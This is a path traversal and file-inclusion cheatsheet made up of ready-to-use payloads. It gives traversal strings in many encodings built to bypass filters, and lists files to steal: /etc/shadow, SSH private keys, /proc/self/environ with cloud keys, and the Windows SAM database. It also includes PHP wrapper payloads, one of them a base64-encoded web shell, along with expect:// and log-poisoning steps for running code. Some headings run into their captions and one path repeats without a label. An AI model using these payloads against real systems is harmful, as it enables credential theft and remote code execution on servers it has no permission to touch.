Path Traversal Cheatsheet

Unix - /etc/passwd

../../../../etc/passwd

Windows - win.ini

..\..\..\..\windows\win.ini

With null byte (PHP < 5.3)

../../../../etc/passwd%00.png

Double encoding

..%252f..%252f..%252fetc/passwd

UTF-8 encoding

..%c0%af..%c0%af..%c0%afetc/passwd

Path with /Bypass for filters that strip ../

/....//....//....//etc/passwd

Double dot removedIf the server strips ../ once, ../ remains

....//....//....//etc/passwd

URL-encoded dot

%2e%2e/%2e%2e/%2e%2e/etc/passwd

Mixed encoding

.%2e/.%2e/.%2e/etc/passwd

Backslash (Windows)

..%5c..%5c..%5cwindows%5cwin.ini

Absolute pathSometimes works without traversal if there's no base path

/etc/passwd

/etc/passwd

/etc/passwd

/etc/shadowRequires root — contains password hashes

/etc/shadow

Environment variablesContains AWS keys, secrets, tokens

/proc/self/environ

Command line

/proc/self/cmdline

SSH private key

/home/user/.ssh/id_rsa

Bash history

/home/user/.bash_history

AWS Lambda sourceFull source code of Lambda functions

/var/task/lambda_function.py

SAM database

C:\Windows\System32\config\SAM

Web.config

C:\inetpub\wwwroot\web.config

Hosts file

C:\Windows\System32\drivers\etc\hosts

IIS logs

C:\inetpub\logs\LogFiles

PHP wrappers - base64Read PHP source code base64-encoded

php://filter/convert.base64-encode/resource=config.php

PHP wrappers - dataBase64 of: <?php system($_GET["cmd"]);?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

PHP expectRequires the expect extension enabled

expect://id

Log poisoningInject PHP in User-Agent, then include the log

/var/log/apache2/access.log

/proc/self/fd/ bruteforceOpen file descriptors may hold temp files with code

/proc/self/fd/5